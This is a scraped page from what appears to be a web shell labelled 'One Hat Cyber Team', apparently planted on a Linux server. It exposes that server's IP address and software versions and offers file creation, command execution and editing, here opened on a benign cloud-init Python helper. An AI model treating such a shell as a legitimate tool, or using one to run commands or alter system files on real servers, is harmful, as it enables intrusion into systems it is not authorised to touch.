⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.30
Server IP:
45.79.8.107
Server:
Linux localhost 5.15.0-140-generic #150-Ubuntu SMP Sat Apr 12 06:00:09 UTC 2025 x86_64
Server Software:
nginx/1.18.0
PHP Version:
8.1.2-1ubuntu2.21
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
lib
/
python3
/
dist-packages
/
cloudinit
/
cmd
/
devel
/
Edit File: __init__.py
# This file is part of cloud-init. See LICENSE file for license information. """Common cloud-init devel command line utility functions.""" from cloudinit.helpers import Paths from cloudinit.stages import Init def read_cfg_paths(fetch_existing_datasource: str = "") -> Paths: """Return a Paths object based on the system configuration on disk. :param fetch_existing_datasource: String one of check or trust. Whether to load the pickled datasource before returning Paths. This is necessary when using instance paths via Paths.get_ipath method which are only known from the instance-id metadata in the detected datasource. :raises: DataSourceNotFoundException when no datasource cache exists. """ init = Init(ds_deps=[]) if fetch_existing_datasource: init.fetch(existing=fetch_existing_datasource) init.read_cfg() return init.paths
Simpan